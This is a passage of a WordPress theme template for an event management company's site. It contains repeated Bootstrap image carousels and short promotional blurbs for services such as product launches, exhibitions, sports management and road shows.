?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-v" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-v" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-8"> <div class="content"> <h2 class="hd-line text-center">PRODUCT LAUNCHES</h2> <div class="about-box"> <p> Our product launches are one of its kind, not in terms of just creativity but also in terms of effectiveness in reaching the right consumers </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-vi" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-vi" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-vi" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-9"> <div class="content"> <h2 class="hd-line text-center">GOVT. PROJECTS</h2> <div class="about-box"> <p> We undertake various govt. projects with a team of able professionals and make things work in an effective way. </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-vii" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-vii" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-vii" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-10"> <div class="content"> <h2 class="hd-line text-center">EXHIBITIONS</h2> <div class="about-box"> <p> The world of exhibition needs craftsmanship, finesse and commitment and we are proud to possess all these things which make every exhibition a grand success </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-viii" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-viii" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-viii" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-11"> <div class="content"> <h2 class="hd-line text-center">SPORTS MANAGEMENT</h2> <div class="about-box"> <p> When the whole world is going gaga over sports and related activities we are quietly doing our job and making everything happen with our high value sports management services </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-ix" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-ix" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-ix" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-12"> <div class="content"> <h2 class="hd-line text-center">BTL ACTIVITIES</h2> <div class="about-box"> <p> Our BTL activities and activation ideas are not just path breaking in terms of creativity, but are relevant enough to touch the right nerve of the consumer </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-x" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> </div><!--.carousel-inner--> <a data-slide="prev" href="#Carousel-x" class="left carousel-control">‹</a> <a data-slide="next" href="#Carousel-x" class="right carousel-control">›</a> </div><!--.Carousel--> <div class="clearfix"></div> </div> <hr /> <a href="#top">&uarr; Back to top</a> <a href="#" rel="next">&darr; Next section</a> </div> </section> <section id="section-13"> <div class="content"> <h2 class="hd-line text-center">ROAD SHOWS</h2> <div class="about-box"> <p> There’s no better way than reaching to the potential customers and our road shows ensure to make this happen every time </p> </div> <hr /> <div class="col-md-12"> <div id="Carousel-xi" class="carousel slide"> <ol class="carousel-indicators"> <li data-target="#Carousel" data-slide-to="0" class="active"></li> <li data-target="#Carousel" data-slide-to="1"></li> <li data-target="#Carousel" data-slide-to="2"></li> </ol> <!-- Carousel items --> <div class="carousel-inner"> <div class="item active"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-4.jpg" alt="Image" style="max-width:100%;"> </a> </div> </div><!--.row--> </div><!--.item--> <div class="item"> <div class="row "> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-1.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-2.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg' href="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" class="thumbnail"> <img src="<?php bloginfo( 'template_url' ); ?>/corporate_event/image/gal-3.jpg" alt="Image" style="max-width:100%;"> </a> </div> <div class="col-md-3"> <a data-lighter='<?php 